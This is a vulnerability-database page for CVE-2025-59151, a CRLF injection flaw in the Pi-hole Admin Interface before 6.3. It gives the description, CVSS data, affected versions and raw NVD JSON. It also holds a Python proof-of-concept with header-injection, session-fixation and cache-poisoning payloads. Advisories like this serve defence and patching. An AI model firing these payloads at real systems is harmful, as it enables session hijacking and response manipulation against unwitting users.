Security Vulnerability Report
中文
CVE-2025-59151 CVSS 8.2 HIGH

CVE-2025-59151

Published: 2025-10-27 20:15:54
Last Modified: 2025-12-18 16:21:40

Description

Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level advertisement and internet tracker blocking application. Pi-hole Admin Interface before 6.3 is vulnerable to Carriage Return Line Feed (CRLF) injection. When a request is made to a file ending with the .lp extension, the application performs a redirect without properly sanitizing the input. An attacker can inject carriage return and line feed characters (%0d%0a) to manipulate both the headers and the content of the HTTP response. This enables the injection of arbitrary HTTP response headers, potentially leading to session fixation, cache poisoning, and the weakening or bypassing of browser-based security mechanisms such as Content Security Policy or X-XSS-Protection. This vulnerability is fixed in 6.3.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:pi-hole:web_interface:*:*:*:*:*:*:*:* - VULNERABLE
Pi-hole Admin Interface < 6.0
Pi-hole Admin Interface 6.0.x
Pi-hole Admin Interface 6.1.x
Pi-hole Admin Interface 6.2.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-59151 CRLF Injection PoC # Target: Pi-hole Admin Interface < 6.3 # Vulnerability: CRLF injection in .lp file redirect def exploit_crlf_injection(target_url): """ Exploit CRLF injection vulnerability in Pi-hole Admin Interface Inject arbitrary HTTP headers via %0d%0a (CRLF) encoding """ # Malicious payload to inject custom HTTP header # %0d = CR (Carriage Return) # %0a = LF (Line Feed) injected_header = "X-Injected-Header: malicious" payload = f"/file.lp?redirect=%0d%0a{injected_header}%0d%0a" # Alternative payload for session fixation session_fixation_payload = "/file.lp?redirect=%0d%0aSet-Cookie:session=ATTACKER_SESSION" # Alternative payload for cache poisoning cache_poison_payload = "/file.lp?redirect=%0d%0aX-Cache: HIT" try: # Send exploit request exploit_url = target_url + payload response = requests.get(exploit_url, timeout=10) # Check if injection was successful if "X-Injected-Header" in str(response.headers) or \ "Set-Cookie" in str(response.headers) or \ response.status_code in [301, 302, 303]: print(f"[+] Exploit sent to {exploit_url}") print(f"[+] Response headers: {dict(response.headers)}") return True else: print("[-] Exploit may have failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://target-pi-hole.local/admin" exploit_crlf_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59151", "sourceIdentifier": "[email protected]", "published": "2025-10-27T20:15:53.630", "lastModified": "2025-12-18T16:21:39.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level advertisement and internet tracker blocking application. Pi-hole Admin Interface before 6.3 is vulnerable to Carriage Return Line Feed (CRLF) injection. When a request is made to a file ending with the .lp extension, the application performs a redirect without properly sanitizing the input. An attacker can inject carriage return and line feed characters (%0d%0a) to manipulate both the headers and the content of the HTTP response. This enables the injection of arbitrary HTTP response headers, potentially leading to session fixation, cache poisoning, and the weakening or bypassing of browser-based security mechanisms such as Content Security Policy or X-XSS-Protection. This vulnerability is fixed in 6.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}, {"lang": "en", "value": "CWE-113"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pi-hole:web_interface:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.3", "matchCriteriaId": "D3BA34FE-9D93-4877-85D7-B0C15D1C11A9"}]}]}], "references": [{"url": "https://github.com/pi-hole/web/security/advisories/GHSA-5v79-p56f-x7c4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}